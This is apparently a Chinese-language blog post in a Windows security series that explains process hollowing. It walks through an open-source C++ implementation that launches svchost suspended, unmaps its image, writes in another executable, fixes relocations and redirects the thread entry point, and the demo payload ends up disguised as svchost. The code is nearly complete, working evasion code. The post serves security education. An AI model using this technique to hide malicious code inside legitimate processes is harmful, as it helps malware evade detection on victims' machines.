iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0
Security

Windows Security 101系列 第 7

[Day7] Process Injection Party (Part 1): Process Hollowing

  • 分享至 

  • xImage
  •  

今天要來介紹的是 Process Hollowing,這個技巧很常被惡意程式使用,開源專案也不少,所以我挑選了其中一個進行分析

Process Hollowing

主要可以分為這幾個步驟:

1. CreateProcess in suspend mode

在 CreateProcess 時加上 CREATE_SUSPENDED 可以讓 process 建立完成而 thread 暫停執行,也就是上一篇 Process Creation 的 Stage 6

void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{

	printf("Creating process\r\n");

	LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
	LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
	
	CreateProcessA
	(
		0,
		pDestCmdLine,		
		0, 
		0, 
		0, 
		CREATE_SUSPENDED, 
		0, 
		0, 
		pStartupInfo, 
		pProcessInfo
	);

	if (!pProcessInfo->hProcess)
	{
		printf("Error creating process\r\n");

		return;
	}

2. Prepare malicious PE

取得剛剛建好的 process 的 PEB 和整個在 memory Image

	PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
	PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

先透過 NtQueryInformationProcess 取得 PEB 在 memory 中的位址,接著分別透過 ReadRemotePEB 和 ReadRemoteImage 讀取 PEB 和 Image

DWORD FindRemotePEB(HANDLE hProcess)
{
    if(!ntQueryInformationProcess)
    {
        if(!InitializeNtQueryInformationProcess())
            return 0;
    }

    PROCESS_BASIC_INFORMATION basicInfo = {0};
    DWORD dwReturnLength = 0;

    ntQueryInformationProcess(hProcess, 0, &basicInfo, sizeof(basicInfo), &dwReturnLength);
    return basicInfo.PebBaseAddress;
}

PEB* ReadRemotePEB(HANDLE hProcess)
{
    DWORD dwPEBAddress = FindRemotePEB(hProcess);
    if(!dwPEBAddress)
        return nullptr;

    PEB* pPEB = new PEB();

    if(!ReadProcessMemory(hProcess, (LPCVOID)dwPEBAddress, pPEB, sizeof(PEB), nullptr))
    {
        delete pPEB;
        return nullptr;
    }

    return pPEB;
}

PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
    BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
    if(!ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr))
    {
        delete[] lpBuffer;
        return nullptr;	
    }

    PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
    PLOADED_IMAGE pImage = new LOADED_IMAGE();

    pImage->FileHeader = (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
    pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections;
    pImage->Sections = (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));

    delete[] lpBuffer; // Avoid memory leak
    return pImage;
}

作者用了 LOADED_IMAGE 的結構保存了 FileHeader、NumberOfSections 和 Sections

下一步是將 malicious 的 PE 載入,並且先準備好要替換 PEB 和 Image 的內容

	printf("Opening source image\r\n");

	HANDLE hFile = CreateFileA
	(
		pSourceFile,
		GENERIC_READ, 
		0, 
		0, 
		OPEN_ALWAYS, 
		0, 
		0
	);

	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("Error opening %s\r\n", pSourceFile);
		return;
	}

	DWORD dwSize = GetFileSize(hFile, 0);
	PBYTE pBuffer = new BYTE[dwSize];
	DWORD dwBytesRead = 0;
	ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
	CloseHandle(hFile);
	PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);

	PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);

GetLoadedImage 和前面在做的事一樣,用 LOADED_IMAGE 的結構保存了 FileHeader、NumberOfSections 和 Sections

inline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase)
{
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
	PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);

	PLOADED_IMAGE pImage = new LOADED_IMAGE();

	pImage->FileHeader = 
		(PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);

	pImage->NumberOfSections = 
		pImage->FileHeader->FileHeader.NumberOfSections;

	pImage->Sections = 
		(PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew + 
		sizeof(IMAGE_NT_HEADERS32));

	return pImage;
}

3. Unmap and overwrite process memory by malicious PE

接著將 PEB→ImageBaseAddress unmap 並寫入 malicious PE 的 image 和 sections,也計算 malicious PE 和要載入到的 ImageBaseAddress 之間的差距,之後會以此做 relocation

  DWORD dwResult = NtUnmapViewOfSection
	(
		pProcessInfo->hProcess, 
		pPEB->ImageBaseAddress
	);

	if (dwResult)
	{
		printf("Error unmapping section\r\n");
		return;
	}

	printf("Allocating memory\r\n");

	PVOID pRemoteImage = VirtualAllocEx
	(
		pProcessInfo->hProcess,
		pPEB->ImageBaseAddress,
		pSourceHeaders->OptionalHeader.SizeOfImage,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE
	);

	if (!pRemoteImage)
	{
		printf("VirtualAllocEx call failed\r\n");
		return;
	}

	DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
		pSourceHeaders->OptionalHeader.ImageBase;

	printf
	(
		"Source image base: 0x%p\r\n"
		"Destination image base: 0x%p\r\n",
		pSourceHeaders->OptionalHeader.ImageBase,
		pPEB->ImageBaseAddress
	);

	printf("Relocation delta: 0x%p\r\n", dwDelta);

  SourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

	printf("Writing headers\r\n");

	if (!WriteProcessMemory
	(
		pProcessInfo->hProcess, 				
		pPEB->ImageBaseAddress, 
		pBuffer, 
		pSourceHeaders->OptionalHeader.SizeOfHeaders, 
		0
	))
	{
		printf("Error writing process memory\r\n");

		return;
	}

	for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
	{
		if (!pSourceImage->Sections[x].PointerToRawData)
			continue;

		PVOID pSectionDestination = 
			(PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);

		printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination);

		if (!WriteProcessMemory
		(
			pProcessInfo->hProcess,			
			pSectionDestination,			
			&pBuffer[pSourceImage->Sections[x].PointerToRawData],
			pSourceImage->Sections[x].SizeOfRawData,
			0
		))
		{
			printf ("Error writing process memory\r\n");
			return;
		}
	}	

4. Relocation

為何需要自己做relocation?因為更換 PEB 的 Image 會導致後面載入的 Image 內的記憶體位址需要根據當前 PEB→ImageBaseAddress 進行校正

	if (dwDelta)
		for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
		{
			char* pSectionName = ".reloc";		

			if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
				continue;

			printf("Rebasing image\r\n");

			DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
			DWORD dwOffset = 0;

			IMAGE_DATA_DIRECTORY relocData = 
				pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

			while (dwOffset < relocData.Size)
			{
				PBASE_RELOCATION_BLOCK pBlockheader = 
					(PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];

				dwOffset += sizeof(BASE_RELOCATION_BLOCK);

				DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);

				PBASE_RELOCATION_ENTRY pBlocks = 
					(PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];

				for (DWORD y = 0; y <  dwEntryCount; y++)
				{
					dwOffset += sizeof(BASE_RELOCATION_ENTRY);

					if (pBlocks[y].Type == 0)
						continue;

					DWORD dwFieldAddress = 
						pBlockheader->PageAddress + pBlocks[y].Offset;

					DWORD dwBuffer = 0;
					ReadProcessMemory
					(
						pProcessInfo->hProcess, 
						(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
						&dwBuffer,
						sizeof(DWORD),
						0
					);

					//printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta);

					dwBuffer += dwDelta;

					BOOL bSuccess = WriteProcessMemory
					(
						pProcessInfo->hProcess,
						(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
						&dwBuffer,
						sizeof(DWORD),
						0
					);

					if (!bSuccess)
					{
						printf("Error writing memory\r\n");
						continue;
					}
				}
			}

			break;
		}

5. Overwrite thread context and resume

最後在恢復 thread 執行前,將 thread context 中要執行的 entrypoint 換成 malicious PE 的。

	  DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
				pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
		LPCONTEXT pContext = new CONTEXT();
		pContext->ContextFlags = CONTEXT_INTEGER;

		printf("Getting thread context\r\n");

		if (!GetThreadContext(pProcessInfo->hThread, pContext))
		{
			printf("Error getting context\r\n");
			return;
		}

		pContext->Eax = dwEntrypoint;			

		printf("Setting thread context\r\n");

		if (!SetThreadContext(pProcessInfo->hThread, pContext))
		{
			printf("Error setting context\r\n");
			return;
		}

		printf("Resuming thread\r\n");

		if (!ResumeThread(pProcessInfo->hThread))
		{
			printf("Error resuming thread\r\n");
			return;
		}

		printf("Process hollowing complete\r\n");
}

我們就成功的將一個 process 的內容調換成 malicious PE 的內容!

這個專案想要透過 Process Hollowing 將本來該執行 svchost.exe 的 process 換成執行 helloworld.exe

int _tmain(int argc, _TCHAR* argv[])
{
	char* pPath = new char[MAX_PATH];
	GetModuleFileNameA(0, pPath, MAX_PATH);
	pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
	strcat(pPath, "helloworld.exe");
	
	CreateHollowedProcess
	(
		"svchost", 
		pPath
	);

	system("pause");

	return 0;
}

執行結果:

helloworld.exe 成功地被執行

https://ithelp.ithome.com.tw/upload/images/20230921/20120098jgT3gxiCZm.png

然而在 Process Explorer 看到的卻是 svchost.exe 而不是 helloworld.exe

https://ithelp.ithome.com.tw/upload/images/20230921/20120098tCOsd5apTn.png

下一篇,我要介紹的是 Process Doppelganging!

References


上一篇
[Day6] Process Creation
下一篇
[Day8] Process Injection Party (Part 2): Process Doppelganging
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言